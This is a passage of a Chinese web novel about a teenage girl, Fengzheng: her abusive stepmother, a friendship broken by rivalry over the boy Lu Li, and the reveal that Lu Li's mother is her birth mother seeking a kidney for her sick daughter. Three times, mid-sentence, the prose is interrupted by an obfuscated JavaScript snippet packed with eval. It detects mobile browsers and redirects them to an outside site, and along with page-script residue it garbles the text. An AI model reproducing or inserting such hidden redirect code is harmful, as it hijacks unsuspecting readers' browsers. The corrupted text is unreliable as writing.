风筝继母的脸瞬间便拉长了，风筝心里很忐忑，家里厨房还一团糟，她继母一会儿一定会发飙的。忙拉了拉陆离的衣袖，“你先走吧。” 陆离没说话，将风筝父母的行李拿进了屋，风筝心里很紧张，观察着继母脸上的表情，果然，她继母一回来就直接进了厨房，出来后脸色更难看了，她手里拎着一把陶瓷刀，直直走到风筝面前质问道，“谁让你用这把刀切肉的？这把刀是用来切菜的，我跟你说了多少遍了，切菜和切肉不能用一把刀，大姑娘家一点都不讲究细节，脏的和猪一样，还好意思请同学来家里！” 风筝低着头不说话，当着陆离的面，她觉得自己真是丢尽了人。那个年龄，在喜欢的人面前，脸面是多重要的啊！风筝的脸越憋越红，可她却无力改变这样的情况，只能将头越埋越低，耳边充斥着继母刺耳的指责。 “天呐！我的奶锅！”继母走进厨房，像发现了新大陆一样再次尖叫了起来，“这个奶锅就不能用天然气热东西，你们在家干什么呢啊，把锅底弄的这么脏！也不给我洗干净！我真是受不了，一个你，一个你奶，简直就是猪！” 似乎是察觉到有外人在场，继母这样的做法有些不合适，风筝爸爸走进厨房，劝道，“行了行了，别嚷嚷了，洗洗就行了，又坏不了。” 风筝继母却犹如被侵犯了一样，立马跳脚冲风筝爸爸吼道，“你说谁嚷嚷！你说谁嚷嚷！我嚷嚷什么了？你和我结婚的时候是怎么答应我的？不是说不会让你女儿打扰我们的生活吗？现在倒好，不仅你女儿要和我们一起生活，你妈也要和我们一起生活，你当初说的话简直就和放屁一样！” “你厉害什么，有啥话不能好好说？” “好好说，和你有什么可好好说的，你、你女儿、你妈，一天到晚脏的和猪一样，我天天都感觉我生活在猪圈里，我都不好意思叫我朋友来家里，实在是丢人！” “既然你觉得家里不干净，那你就打扫啊！”风筝再也受不了了，吵道，“你一天到晚什么家务活都不干，还要嫌我们这里没弄干净，那里没弄干净，哪家的妈妈像你这样？” “你觉得我做的不好可以去找你亲妈啊，你怎么不去找你亲妈？你不知道你亲妈在哪里吧？连你亲妈都不要你了，你还挑我这个后妈？告诉你，好的坏的也是我这个后妈供你吃穿供你上学呢！” “我花的不是你的钱，是我爸爸的钱！” “你爸的钱？那我让你看看这到底是谁的钱，风长生我告诉你，从今天开始，你再敢给风筝一分钱的零花钱，咱俩就离婚！” 她说罢拉起风笛就回了房间，并且使劲儿的摔上了门，风筝看着爸爸，他却只是背对着他们站在窗前抽烟，她的心里再次对父亲的软弱感到十分失望，但是也渐渐麻木与习惯了，这么多年，父亲一直不都是这样的吗？还有什么好失望的呢？ 她扯下围裙，快步跑出了家。 “风筝！”陆离也紧跟着她跑了出来。 10. Chapter 10 风从四面八方灌进身体里，风筝觉得冷极了，但肌肤之冷却远远不及内心的冷，她的脑海中一直回放着继母狰狞的嘶吼，“连你亲妈都不要你了，你还挑我这个后妈？” 这句话像是一个咒语，不断地在她耳边回放，搅得她头痛欲裂。她完全不能停止奔跑的动作，好像一停下来，就要被这句话刺痛。 “风筝！”陆离终于追上了她，他使劲儿地拉着她的胳膊不让她再跑。 可是四周像是站了几十个人，不断地在她耳边念着这句扎心的话，“你怎么不去找你亲妈？你不知道你亲妈在哪里吧？” “连你亲妈都不要你了，你还挑我这个后妈？” “告诉你，好的坏的也是我这个后妈供你吃穿供你上学呢！” …… 她头痛的要死！ “啊……”她双手捂住耳朵，蹲在地上哭喊了起来。 “风筝！风筝！我在这里，不怕啊！”陆离顺着她跪倒在地上，将她抱在怀里，一只手像是安抚小孩子一样不停地安抚着她，嘴里不断地说着，“不怕啊，不怕……” 感受到陆离的关心与温暖，风筝嚎啕大哭起来。 陆离很心疼，说，“风筝，别难过，这一切很快就会过去的，不管发生什么事儿，你记得，我会永远在你身边。” “我会永远在你身边。”这句话对于风筝这种缺爱的孩子来说，实在是太受用了。她的心，忽然一下就软了、暖了，她伸手从陆离的臂弯下抱住陆离，有些贪婪地感受着陆离的温暖。 不远处的马路上，薇薇定定地站着，看着抱在一起的陆离与风筝，紧紧地攥了攥拳头。她转身准备离开，路过垃圾桶，扔掉了手中的袋子，里面装的是她从海南回来给风筝和陆离带的纪念品。 一直到开学，风筝和薇薇都没有再联系。风筝给薇薇打过几次电话，但薇薇电话一直处于关机的状态，她猜想她可能又和家人出去玩了吧，也就不甚在意。 她心里一直有个疑问，那天也不知道薇薇最后来了没有，她和陆离后来一直在小区门口等着，但是没有见到薇薇，也不知道薇薇为什么没有来，或者是他们没看见，那么薇薇去了家里，会不会碰见了她后妈？再发生什么不愉快的事情？ 她无从得知，准备开学见到薇薇之后再问个究竟。 可眼下最难的问题并不是薇薇，而是学费。 她继母说到做到，那次吵架之后，她爸爸再没给过她一分钱的零花钱，眼看着就要开学了，以她对她继母的了解，如果她不低头，她继母是真的不会给她交学费的。 一天，趁着继母不在，风筝找到她爸爸。 “爸，要开学了，你和我一起去报名，还是把钱给我让我自己去？” 风筝爸爸大口大口地抽着手里的烟，沉默了好一会儿，答道，“你去给你妈道个歉。” “为什么？” “没有为什么。她是长辈，你是晚辈，难道还能让她给你道歉？” “从小到大，不管谁对谁错，每一次都是我给她道歉，难道她就没有错过？谁做错了就应该谁道歉。”风筝倔强地把头偏到一旁。 她爸爸气呼呼地瞪着她，“你听我的就去给你妈道个歉，不听我的就自己看着办，反正吃亏的都是你。” 风筝再不争辩，扭头回了自己的房间。 奶奶在屋里听见了外面的动静，看风筝回来气呼呼地坐在床上，拍了拍她的肩膀，“孩子，听你爸的，去给她道个歉吧。” “我的道歉就那么不值钱吗？为什么总要我道歉？” “那咱们有什么办法呢……”奶奶说着，长叹了一口气。 风筝心里觉得委屈极了，他们家的关系就处在这样的一个死循环中，她继母任意妄为，而她和奶奶却要处处谨慎小心，一点点不如了她继母的意，就会引发争吵。每一次争吵的结果都是她们去道歉。她憎恨父亲的双标，既然是晚辈要给长辈道歉，那为什么继母从来不给奶奶道歉？每一次她都要低三下四地去求继母的原谅，而奶奶也要主动先和继母说话，不然她那高高在上的继母就不会搭理她们，不搭理她们，她父亲就不高兴，觉得家里四分五裂，不像是一个家，而这一切，永远都是风筝和她奶奶的问题。 可是奶奶说的没错，她们能有什么办法呢？尤其是风筝现在还没有办法独立，人在屋檐下，不得不低头啊！ 当天晚上，风筝鼓足勇气，敲开了继母的门。 “妈，对不起，我错了。”她尽量让自己表现的真诚一点，不然，她继母绝对不会轻易善罢甘休。 继母靠在床上嗑着瓜子看电视剧，看见她进来，只瞟了一眼，便又继续看她的电视剧。 风筝只好再次说道，“妈，对不起，我错了。” 仿佛是被打扰了一般，她继母极不耐烦地关上了电视，说道，“你别叫我妈，我可当不了你妈。” 风筝攥紧拳头不说话。 “你干啥呀，孩子给你道歉呢。”风筝爸爸在一旁说。 “不用给我道歉，她现在长大了，翅膀硬了，会犟嘴了，有本事自己养活自己呀，这快开学了来给我道歉了，如意算盘打得响啊！” 风筝真想扭头就走，不上这个学了，也不在这个家呆了。可是她突然想起来陆离说的话，要一起开始全新的生活，她咬了咬牙，她必须考上大学，还要尽可能地和陆离考同一所大学，所以现在的这些屈辱，她必须忍受。 于是她说，“妈，是我错了，这段时间我想了很多，您和我爸养我和风笛不容易，以后我会懂事的，不惹您生气，也不乱花钱。” 风筝爸爸斜眼看着风筝，他完全没想到风筝会这样乖巧，风筝继母盯着风筝，脑袋飞速的转动着，猜想着风筝在打什么算盘。 可风筝始终没再说什么，她继母是个有一些小聪明的女人，总把风家除了风笛以外的其他人都当成傻瓜，当然，她这样自以为是与风筝的爸爸是真的不怎么聪明有很大的关系。她想，风筝大概是真的被她教训到了，虽然对于还要继续给风筝交学费这件事有一点肉疼，但她享受着这样居高临下对待风家人的喜悦感，她的内心从来都没有觉得，养育风筝是她的责任，反倒觉得这是她善良的施舍。 所以这会儿风筝低眉顺眼的样子让她心里愉悦，让她愿意施舍。 她说，“报名那天我得去给风笛报名，到时候让你爸把钱给你，你自己去吧。” “谢谢妈。”风筝说完，转身回房。 临睡前风筝洗了一个澡，把脸埋在花洒下面，让眼泪和水流混在一起奔腾而去，社会黑暗与不公的一面，太早地展现在了她的生命里，太早地剥夺了她天真简单的本性，她甚至没有来得及享受青春的美好就已经开始成熟，后来回忆起自己的青春岁月，风筝总觉得这段时间是扭曲的，一半是天真，一半是成熟，扭在一起，成熟敲打着天真，天真反抗着成熟，让这段记忆不忍过多回忆。可是也有好的一面，便是让风筝更为坚强，面对后来发生的事情，懂得如何放自己一条生路。 报名这天，风筝早早就到了学校，书包里装了报名费、要交的作业，还有之前给薇薇买的果汁粉，她一直藏着没让风笛喝。她和薇薇还从来没有这么长时间不联系过，她很想念薇薇，也很奇怪到底发生了什么事，薇薇竟然关了一个假期的手机。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183594|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆离也来得很早，报了名在那帮老师整理大家的作业，那天之后，他和陆离也没有再见过了，陆离打过两次电话，时不时还会有几条短信的互动，但也觉得像是分别了很久，一见面就有说不完的话。 风筝一边和陆离说笑，一边帮他整理大家的作业。 不久，薇薇来了。 她剪短了头发，从前及腰的长发剪到了及肩的长度，做了时下流行的梨花烫，不至于很夸张，但是在一片朴素的校园里，却好看的很抢眼。她原本五官就长得很清秀，一个假期不见，不知怎的，眼睛变得更大了几分，鼻子也更高了，整个人面容看起来立体了很多，加上她今天化了一些淡妆，穿着乖巧又时髦的裙装，像是电视里的明星一样，从上到下都分外好看。 “哇……”风筝忍不住走上前，围着薇薇转了一圈，“薇薇，你真好看。” 薇薇笑着，充满了自信，“那当然。” 她的目光淡淡扫过全班，面对男生眼中的惊艳，女生眼中的羡慕，她显得很骄傲。唯独陆离，头也不抬地忙着自己手中的事情，陆离的淡漠让她有一点生气，但却还是要保持风度。 她走到陆离身边，“好久不见啊，陆离。” 陆离抬起头，仿佛这个时候才看见了她，笑了一下，“好久不见。” “一整个假期都没有联系我，我很伤心。”薇薇撒娇道。 风筝站在一旁，略微有点尴尬。 “没什么特别的事情，所以没有打扰你。” “不会啊，你给我打电话，不叫打扰。”薇薇笑的很好看。 “除了这个原因，还有，我也没什么时间。” “哦？是吗？”薇薇依然笑着，眼睛盯着陆离。 “是的。你的作业做完了吗？快点拿过来吧。” 薇薇从书包里取出作业，递给陆离。又笑着说，“我给你家里打过好几次电话，你都没在家，在忙什么？” “补习。” 陆离并没有撒谎，他的确是报了补习班，提前学习了这学期的功课。可是薇薇似乎并不怎么相信，陆离脸上的不耐烦越来越明显。 风筝赶忙插话道，“陆离已经把这学期的课本学的差不多了，咱们和陆离，就是学霸和学渣的差别啊！” 薇薇不说话，笑着看风筝，风筝又赶忙改口，“当然，你们两个都是学霸，我才是学渣。” 薇薇说，“你也不是学渣啊，你都冲进班里的前二十名的了，怎么还说自己是学渣？” 风筝笑笑，总觉得薇薇今天的语气有点阴阳怪气的。她从书包里拿出果汁粉，递给薇薇，“对了，上次约好在我家吃饭，我专门给你买了果汁粉，结果你也没来，我给你留着呢。” 薇薇看着风筝手中的果汁粉，沉默了几秒，保持着礼貌而疏离的笑容，“我从不喝这个果汁粉。” “你不是最爱喝果汁吗？” “我只喝鲜榨的。” 风筝有些尴尬，薇薇面上的的笑容突然让她突然意识到在薇薇眼里这样一包果汁粉的廉价，以及自己与薇薇之间悬殊的差距。薇薇瞧不上眼的东西，她甚至在家里藏着不让风笛喝？可她什么也没有说，准备将果汁粉放回书包，陆离却突然伸手拿了过去，“我喜欢喝，给我吧。” 风筝怔怔地看着陆离，他冲她一笑。薇薇的嘴角抽动了一下，她终于再也保持不住礼貌的笑容了，她恨极了风筝，明知道她是那样的喜欢陆离，为什么还要把陆离从她身边抢走？也恨极了陆离，她与风筝，几乎没有可比性，可他却选择了风筝？！这简直让她接受不了。她在心里暗暗发誓，一定会让他们为他们的选择而后悔！ 11. Chapter 11 新学期的开始，对于风筝来说，一点都不值得高兴。 她与薇薇之间的关系日渐恶化，薇薇虽然还是和她在一起吃饭、上下学，但气氛已经完全变了，她不再像从前那样包容风筝、迁就风筝，变得有一些尖酸刻薄，时刻都在讽刺风筝，讽刺她穷、她丑、她笨，似乎和薇薇在一起，风筝只剩下了一点作用，那就是衬托薇薇的优秀。 更让她头痛的是，薇薇和陆离的关系也越来越白热化，两个人对话火、药味十足，开学不到两个星期，陆离都已经摔桌而去两次了。 薇薇巨大的改变不仅只有风筝和陆离感受到了，全年级的同学都在讨论她，他们说她整容了，加宽了双眼皮，还垫了鼻子，削了骨。她穿着改良过的校服，每天化着淡淡的妆，学校里有很多男生追求她，每天给她送来各种各样的礼物，她一件件的欣然接下，故意当着陆离的面拆开，留下喜欢的、扔掉不喜欢的。可陆离似乎对此毫无兴趣，他的淡漠，让薇薇一天天变本加厉起来。 老师终于找她谈话了，还请了她的家长。风筝站在走廊上，亲眼看见薇薇的妈妈抹着眼泪离开了学校。她的心里很难过，薇薇变成这样，和她与陆离的亲近脱不开关系。她承认，陆离对她而言越来越重要了，可薇薇也是她生命中很重要的人，她无法在他们中间做出一个抉择。为了薇薇，她决定放弃陆离。 转眼到了风筝的十七岁生日，她决定请薇薇和陆离一起吃饭，缓解一下他们三个人之间的关系。 这天正好是周日，他们约在了薇薇喜欢的一家火锅店。 陆离给风筝买了一只一个人大的泰迪熊，远远地风筝就看见了他，他手上还抱着一小捧玫瑰花，初春的季节，阳光照耀在陆离的身上，风筝觉得，陆离像是从漫画中走出的男子一样，迷人极了。 风筝目不转睛地看着他，他很想永远地记住陆离的这个模样，大概，以后再也不会有机会了。 “生日快乐。”陆离走到她身边，把包装精致的花递到她手上，“这个熊我先帮你背着，实在太大了，有点重。” “谢谢。”风筝微微一笑，她看着手里的花，心里很温暖，她没有多喜欢鲜花，因为枯萎的太快，她不喜欢这种短暂的欢喜，但是她毕竟是个女孩，收到花也难免心里欢喜，此刻，有人陪着她过生日，还是她喜欢的人，她觉得很知足、很幸福。 薇薇也来了，穿着长靴、丝袜，这一身装扮与她的年龄有些许不符。看到风筝手里的花和陆离背上的熊，薇薇笑了笑，“风筝，这么大的熊，你们家放的下吗？我记得，你好像和你奶奶睡一张床。” 风筝不说话，薇薇又说，“陆离，你也真是的，买这样不实惠的东西，对于风筝来说，这个才是她真正需要的东西。” 她说着，从包里取出钱包，抽出五百元钱，又叠好放进一个红包中，笑着递给风筝，“生日快乐，风筝，我最好的朋友。” 风筝看着薇薇，她从来都没有觉得这样心痛过，她们之间，怎么会变成了这个样子？ “你什么意思？”陆离很是不高兴。 “没什么意思啊，你不要把钱想得多么肮脏，也不要把你自己想得多么高尚，风筝需要钱，我给她钱，有什么不对的？” “田雨薇，你看看这家火锅店的门牌，风筝为什么请我们来吃这家火锅你不知道吗？因为这是你喜欢吃的，她对你这么用心，想尽一切办法想让你高兴，你为什么要这么对她？” “对我用心？想尽一切办法让我高兴？风筝，在你心里，我真的有这么重要吗？”薇薇看着风筝，风筝也看着她，她的视线渐渐变得模糊起来，可是她没有让眼泪留下来，反而是薇薇，眼泪突然顺着眼眶流了下来，她说道，“如果你真的在乎我，为什么也要喜欢陆离？” “是我喜欢她，是我在靠近她，田雨薇，从一开始，我喜欢的人就是风筝，我从来都没有喜欢过你，我很讨厌你总是以一副女朋友的姿态要求我，我和你什么关系都没有，我拜托你放过我吧！” 薇薇与陆离之间的感情，还没有告白就已经被拒绝。陆离的这些话，像是憋了很久，他吼着，以他从未展示过的凶狠与决绝一面。薇薇的心，被这一字一句狠狠击碎，终于碎成了玻璃渣，她难以置信地看着陆离，眼泪如同开闸的洪水，止不住地流。 “薇薇……”风筝上前想要安抚她，她一把推开，语气冷冰冰地，“不要碰我，你知道你现在这样像什么吗？” 薇薇抬起双眸，眼泪在她长长的睫毛上停留了片刻，便顺着脸颊落了下来，“像一个令人恶心的绿茶婊！你装天真、装无辜，到今天事情已无回旋余地了，你还要装作你好像什么也没有做过的样子？真是让我恶心，这些年，交了你这么一个朋友，我田雨薇真是眼瞎了！” 她说罢头也不回地跑开了。 风筝站在那里，眼泪夺眶而出。薇薇说的那些话，每一个字的伤害值，都与陆离的话不相上下。她心痛极了，但她知道，此刻薇薇的心里一定也痛极了。 “别哭了。”陆离递给风筝一张纸巾，试图安慰她。 “你为什么这么对她说？” “这是我的真实感受，这些话或许我早就应该说了。” “你为什么这么对她说？！”风筝大哭起来，声音也不自主地抬高了，“你知道她有多喜欢你吗？你怎么忍心这样对她说话？！” “那你呢？你喜欢我吗？”陆离抓住风筝不住打他的手，质问道。 风筝哭着摇头，“不喜欢，不喜欢，我从来都没有喜欢过你。” 陆离呆怔一瞬，眼光变得黯淡起来。风筝灵敏地扑捉到了陆离眼中的难过，那是她第一次意识到，人的眼睛是真的不会撒谎，她怕陆离也发现她眼中的悲伤，甩开他的手，匆忙跑了。 那是风筝十七岁的生日，充满了悲伤。她生命中很重要的两个人，包括她自己，都在这一天心痛如割。 第二天到学校，风筝将自己的东西搬到了后排，高二开学后重新排座位，她与陆离一起选了中间靠前的黄金座位，可如今她已经下定决心要与陆离划清界限了，所以也不想再和陆离坐在一起。 陆离走进教室后看到旁边换了人，很生气地走过去找风筝，“你坐回前面去。” “不要。”风筝头也不抬地忙着自己的事情。 陆离也不再说什么，一把掂起风筝的桌子，挪到自己的位置上，又将自己的桌子放在后排，不顾班上同学们的起哄，坐在后排收拾自己的书包和课本。 “什么意思？”风筝问道。 “不要拿自己的前途赌气，这件事你根本输不起。”陆离明显也很生气，可他尽可能地控制住自己的情绪，说这话的时候也是头也不抬，连风筝看都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183595|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不看一眼，似乎同样下定了决心要这么做，无论风筝说什么都不会改变他的想法。 风筝瞪着他，发现陆离完全拿她当空气，便扭身回了前排。 班主任对于陆离随意换座位的事情很生气，可是他又拿陆离没办法，只好将气撒在了风筝的身上，三天两头为了这样、那样的小问题把风筝叫去办公室，咣里咣当地好一通骂。风筝默默忍着，陆离也再没来救过她，甚至两个人在学校走对面，也都很默契地不再说话。更为遗憾的是，这件事传到了薇薇的耳朵里，也并没有让她有所改变，她还是每天花枝招展地来，花枝招展地走，不再将太多的心操在学习上，唯一不同的是，她身边的好朋友，不再是风筝了。 风筝是一个有些慢热的人，没有了薇薇和陆离的陪伴，她整日形单影只，只好闷头学习，不好再去请教陆离，便整日地往老师办公室跑，反倒是扭转了老师们对她的印象。这其间，她也找过薇薇，想要告诉她她已经和陆离划清界限了，想要让她知道，她知道自己做错了，她已经改了。可是薇薇却并没有要原谅她的意思，她的身边总是围绕着很多的朋友，她甚至还交了一个男朋友，风筝知道，薇薇一定不是真的喜欢这个男朋友和那些女朋友，但是，薇薇总用行动和言语告诉她，她的身边已经不再有她的位置了。 风筝不再争辩，不再证明，只认真学她的习，与陆离划清界限，她想，总有一天，薇薇会明白的。 然而，接下来发生的事情，却让他们所有人都措手不及。 高二暑假，昭昭生病了。 很严重的病，风筝不知道具体的，只是听同学们说，陆离没有来上学校安排的补习，就是因为他妹妹病得很严重，他们全家去了北京的医院求医。 风筝很想给陆离打个电话，想问问他昭昭到底怎么样了，也想问问他，他是不是还好。可是电话号码拨了一次又一次，始终没有勇气拨通。 就这样一直挨到了开学，报名这天，陆离终于来了。 他整个人瘦了一圈，眼窝深陷，一看就是熬夜透支了身体。他交了钱和作业，便一个人走到操场上，坐在主席台前发呆，风筝从教室的窗户看到陆离落寞的身影，心里很是心疼。在她印象当中，陆离一直都是阳光的、积极的，这鲜明的对比与落差让她的心里不由也跟着难过起来。 她离开教室，准备去安慰一下陆离。 走到跟前发现薇薇也来了，她们对视了一眼，谁都没有说什么，一左一右在陆离身边坐下。 薇薇率先打破了沉默，“昭昭怎么样？” 陆离沉默了一会儿，答道，“很不好。” 他的声音有些嘶哑，像是哭过了很多次。风筝心里一阵揪心的痛，不知道该怎么安慰陆离。 “听说需要换肾，找到合适的肾源了吗？”薇薇又问。 陆离摇摇头，“家里人全都不匹配。” 风筝的心也跟着沉了下去。她对昭昭的印象很好，那样漂亮可爱的一个孩子，怎么会说得病就得病了？她想起了陆离和昭昭的妈妈，那样慈祥、高贵的一个女人，此刻该有多难过？她也很难过，伸手想要去拍一拍陆离的手表示安慰，发现薇薇也正伸手试图抓住陆离的手，她们对视着，忽然间，薇薇笑了一下，风筝便也笑了，像是久违的春天带来了久违的温暖，风筝以为，尘封许久的友谊终于破冰了。 12. Chapter 12 陆家。 自从昭昭病了以后，陆家像是一直被一团乌云笼罩着，再没有从前的生机与幸福。晚饭时间，陆妈妈没有心情做饭，从医院回来就一直躺在床上抹眼泪。昭昭是她的心头宝，是她的命根子，是她的全部，她不禁在想，如今昭昭生了这么严重的病，是不是她的报应？如果是，老天爷应该惩罚在她的身上，为什么要让她的孩子痛苦？ “我回来了。”昭昭生病后，陆爸爸每天打听医院和医生，已经很久没有这么早回来了。 屋里寂静无声。 陆爸爸走到卧室，看见妻子躺在床上，叹了一口气，家里孩子生病了，已经是一件很沉重的事情了，陆妈妈整日以泪洗面更是让他不知道该怎么办。 还不如加班。他在心里抱怨。背对着妻子坐在了床边。 “你记不记得我和你说过，我之前结过一次婚，还有一个女儿。” “记得。”陆爸爸有些许不爽，这个时候，提那件事情干什么。 “我想让那个女儿去医院做做检查，看她能不能救昭昭。” 陆爸爸沉默不语。 陆妈妈又说，“这是我们唯一的希望了，我一定要想办法救昭昭。” 陆爸爸粗鲁地解开领带，不难看出来，他心里很烦。 当初和陆妈妈在一起的时候，她还并没有真正的离婚，虽然那的确是一桩错误的婚姻，这么多年过去了，陆妈妈也不愿意再回头想那一段婚姻，但是他的出现，的确是加速了那段婚姻的结束。结婚的时候，他答应过陆妈妈再不要孩子，有陆离和陆妈妈之前的那个女儿就够了，但那只是嘴上的答应，他的心里从来没有想过要替别人养女儿，这怎么可能？好在陆妈妈原本对那段婚姻多有芥蒂，自己多少也不愿再与过去有过多的纠缠，他甜言蜜语哄着，再找一些借口骗着，这件事也就睁一只眼闭一只眼过去了，再加上后来他们“意外”有了昭昭，陆妈妈将更多的感情都倾注在了这个女儿身上，久而久之，也就将那个女儿忘了。 “可行吗？”他说，“你这么多年没见过那个孩子，还找得到吗？” “已经找到了。” “什么？” “你还记得陆离的那个同学，风筝吧？” “是她？”陆爸爸惊讶地从床上站了起来。 “是。” “不行不行，”他来回踱着步，“你见过她那个继母的，那样的人，就算答应了，也会赖上我们的！” “这个时候你还在想你的那些财产？”陆妈妈有些难以置信，“我宁愿用所有的财产换昭昭的命！” 陆爸爸沉默了，他再次坐在床边，用双手抱住了头，来回的挠着自己的头发。的确，他没有别的办法了，那个孩子是现在唯一的希望了。 陆离站在家门口，他的还保持着进门换鞋的动作，他刚刚好听到陆妈妈说，风筝就是她的女儿。他难以抑制心中的愤怒，多年来，他一直以为自己的继母是一个善良简单的人，这一刻，却搞不清她到底是太简单还是太不简单，她是如何做到对自己另外的一个孩子多年来不闻不问？甚至见到了还面不改色？想到风筝这些年受过的委屈和屈辱，他真是恨不得现在立马就全部告诉她，看看她会有什么样的反应！他不由觉得恶心，这些年他的父母时不时帮助一些穷困地区的孩子，又是捐款又是助养，都是作秀给客户看，顺便安抚一下自己整日不安的良心吧？简直可笑至极。 很快，他的愤怒又转化成了悲伤，为风筝感到悲伤。她马上就可以见到她从来没见过的母亲了，可是，她的母亲却是为了要她的肾，去救她另外的一个孩子。风筝该怎么接受这个事实？更让人难以接受的是，这个孩子就是昭昭？ 他觉得老天爷简直是在给他开玩笑！可是这个玩笑，一点也不好笑。 他将拖鞋重新放回鞋柜，转身离开了家。 他不知道自己要去哪里，但是他知道，他现在暂时不想回家。 “谁？陆离？”听见门响，陆妈妈问了一声。 可是并没有人回答，她猜想自己大概是听错了，这段时间大家都太累了，产生幻听也无可厚非，她没再说什么，陆爸爸也没说什么，屋内再次陷入了沉寂。 沿着路灯一直走，竟然不知不觉地来到了风筝家门口，初春的夜晚，还是有些寒凉的，陆离将双手插进口袋中，抬头望了望楼上，风筝房间的灯亮着，应该是在学习吧，他思索着要不要将风筝叫下来，同时内心也在纠结，这件事到底应不应该告诉风筝？ 这个时间小区的活动场所已经没有人了，他随便找了个地方坐下，心里有两个小人已经打了一路的嘴仗了。 一个说：“你是风筝的好朋友，这么大的事情，你怎么可以隐瞒着？如果她后来知道你是知道这件事的，她该有多伤心？你这样做，和你妈妈又有什么区别呢？” 另一个说：“如果现在就告诉风筝，风筝拒绝去做检查，那昭昭又怎么办呢？对于昭昭而言，这可是生与死的抉择啊！” 他头痛的要命，用右手大拇指和中指搓揉着太阳穴，深呼吸一口，想让自己暂且忘记这个烦恼。 最终，他拿出手机，给风筝奶奶的手机发了一条短信：我在你家楼下。 很快便收到了回复：马上下来。 风筝穿着薄睡衣，外面套了一件外套，头发松松地挽在脑后，三步并作两步地跑到他身边，“这么晚了，你怎么来了？” “没什么事，不知不觉就走到这里了。” “是不是昭昭出了什么事？”风筝有些担忧地问他。 “没有。” “那就好。”风筝如释重负地吐了一口气。 “你好像很喜欢昭昭。” “是啊，”风筝觉得陆离这个问题问的有些无厘头，但也并没有想太多，说道：“她那么可爱，谁会不喜欢她呢？” 陆离想到昭昭的笑容，不禁赞同道，“是啊，她真的很可爱。” 风筝在陆离的身边坐下，“老天爷真不公平，竟然会让这么可爱的孩子生病。” “那……我是说如果，如果你可以救昭昭，你会救她吗？” “当然了。”风筝不假思索地答道，她的眼睛是那样的清澈，仿佛一眼就能望到风筝干净的心灵，陆离看着这样一个单纯的风筝，内心更是觉得愧疚无比。 “我能做什么吗？”风筝继续问。 “没什么，我只是随便说说。” “陆离，你不要想太多，事情一定会好转的。”风筝试图安慰陆离，却让陆离的内心更为煎熬。撒谎，果然是一条自我折磨的不归路。 后来，无数个寂静的夜晚，陆离想起这一天都觉得悔恨不已，当初，怎么就没有勇气告诉风筝实情？怎么没有选择相信风筝？怎么就以为风筝会见死不救？怎么选择站在了父母的这一边，让风筝一个人无所依靠？ 可是事态的发展，远远比他想象中的还要糟糕，大人们的做人底线，走入穷途末路时的应激反应，也远比他想象中的还要疯狂。 昭昭的病急剧恶化，甚至来不及给陆家人多一些时间犹豫纠结，她需要肾脏移植，越快越好。 陆妈妈终于打通了风筝爸爸的电话，与陆爸爸一起约了风筝的爸爸和继母见面。 听说要见风筝的亲妈，风筝继母立马进入了战斗状态，用了一早上的时间化妆、挑选衣服、搭配鞋子和包包，虽然她没有什么贵重的家当，但是好在以数量取胜，也算是折腾出了一身她自认为比较合适的装束。风筝爸爸心里有些纳闷，这么多年不联系了，突然打这个电话是什么意思？还专门叮嘱带上他老婆，有重要的事情要和他们商量？他们之间，能有什么重要的事情？ “老风，看我这一身怎么样？”风筝继母收拾妥当，在风筝爸爸面前转了一圈。她穿了一条红色的花裙子，配了一双黑色的小高跟皮鞋，再拿一个山寨版LV包包，脸涂得像是刚刷过的墙，风筝爸爸轻轻皱了皱眉头，他想说有些太夸张了，转念又一想，如果这么说她肯定又要磨蹭好一段时间，索性便点头道，“挺好的。” 风筝继母就这样愉快地换了鞋，她忍不住也纳闷道，“这女人见咱们能有什么事呢？” “不知道。” “肯定是风筝的事，难不成是良心发现，要将风筝接走了？” 风筝爸爸不说话，她继续说道，“或者是补偿咱们这么多年的抚养费？” “……” “你不是说她现在挺有钱的，过得挺好的吗？对她自己的女儿尽一点责也没什么不对吧？”她继续畅想着。 “快走吧。”风筝爸爸有些不耐。 “怎么了，说两句话都不让人说了啊！”风筝继母对于风筝爸爸的不耐烦很不高兴，立马就板下了脸，但是还好，这次她并没有耍性子不去了，毕竟，她很想知道这女人到底找他们有什么事情，最近她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183596|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左眼一直在跳，她觉得这趟出门肯定会听到一个好消息，她的内心对此坚定的很呢！ 